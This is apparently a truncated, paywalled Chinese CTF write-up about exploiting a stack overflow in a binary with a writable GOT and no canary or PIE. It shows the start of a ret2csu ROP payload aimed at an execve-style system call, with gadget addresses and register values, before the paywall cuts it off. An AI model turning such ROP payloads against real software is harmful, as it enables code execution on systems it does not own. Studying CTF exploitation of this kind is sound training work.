got表能覆写
没有canary pie
程序的逻辑很简单
一个栈溢出之后将got表全部清空。



给了两个系统调用。
那么我们的解题思路。
首先利用ret2csu来控制寄存器
payload = "a"*0x68
payload += p64(0x4007ea)
payload += p64(0xc01c8) #rbx
payload += p64(0xc01c9) #rbp
payload += p64(0) #r12
payload += p64(59) #rdx
payload += p64(0x601060) #rsi
payload += p64(0) #rdi

本文讲述了如何通过栈溢出漏洞,利用ret2csu技术控制寄存器,清空got表,并通过动态链接的init函数进行间接控制,最终实现控制流程并执行shellcode。重点在于理解寄存器操作和初始化过程的调整以确保程序执行的正确性。
最低0.47元/天 解锁文章
1016

被折叠的 条评论
为什么被折叠?



